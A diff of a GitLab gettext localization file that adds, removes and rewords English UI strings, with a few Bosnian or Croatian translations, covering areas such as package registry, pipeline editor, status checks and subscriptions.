@@ -20392,6 +20773,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20443,9 +20827,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20734,10 +21115,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20839,6 +21220,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -21013,10 +21397,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21274,6 +21658,12 @@ msgstr ""
msgid "Monday"
msgstr "Ponedjeljak"
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21406,6 +21796,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21433,6 +21826,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21601,9 +21997,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21703,9 +22096,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -22054,7 +22444,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -22081,6 +22471,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22294,6 +22687,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22624,6 +23020,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -23005,7 +23404,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -23104,7 +23503,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23170,6 +23569,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23197,6 +23599,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23239,6 +23644,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23260,6 +23668,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23311,9 +23722,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23323,6 +23743,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23338,6 +23761,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23383,6 +23809,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23395,12 +23824,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23497,7 +23920,7 @@ msgstr "Stranice"
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23512,6 +23935,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23563,6 +23989,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23698,6 +24127,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23776,6 +24208,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23830,6 +24265,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23896,6 +24379,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23953,6 +24439,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23974,6 +24463,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -24028,6 +24520,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -24058,9 +24553,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24358,9 +24850,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24397,6 +24895,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24406,6 +24907,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24439,9 +24943,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24469,6 +24970,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24625,6 +25129,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24979,7 +25486,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25237,6 +25744,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25390,9 +25900,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25867,9 +26374,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25921,12 +26425,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25939,6 +26437,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25951,9 +26452,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25969,10 +26467,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25981,9 +26479,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26731,9 +27226,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26743,6 +27235,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26842,7 +27337,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -27076,9 +27571,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -27094,6 +27586,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -28045,6 +28540,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28633,16 +29140,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28657,6 +29173,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28669,6 +29188,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28681,10 +29203,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28693,6 +29215,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28747,6 +29272,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28765,9 +29293,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28789,9 +29314,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28960,6 +29482,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -29026,6 +29551,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29260,6 +29788,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29413,9 +29944,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29650,9 +30178,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29893,6 +30418,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29986,6 +30517,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30223,6 +30757,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30529,6 +31066,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30544,10 +31084,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30769,18 +31312,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30814,9 +31396,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30871,6 +31450,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30976,6 +31558,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -31087,6 +31672,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -31111,6 +31699,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31222,42 +31813,93 @@ msgstr ""
msgid "Sunday"
msgstr "Nedjelja"
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31267,18 +31909,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31297,6 +31969,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31519,6 +32194,9 @@ msgstr "Å ablon"
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31675,9 +32353,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31819,6 +32494,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31849,7 +32527,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31873,6 +32551,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -32065,6 +32746,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -32110,6 +32794,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
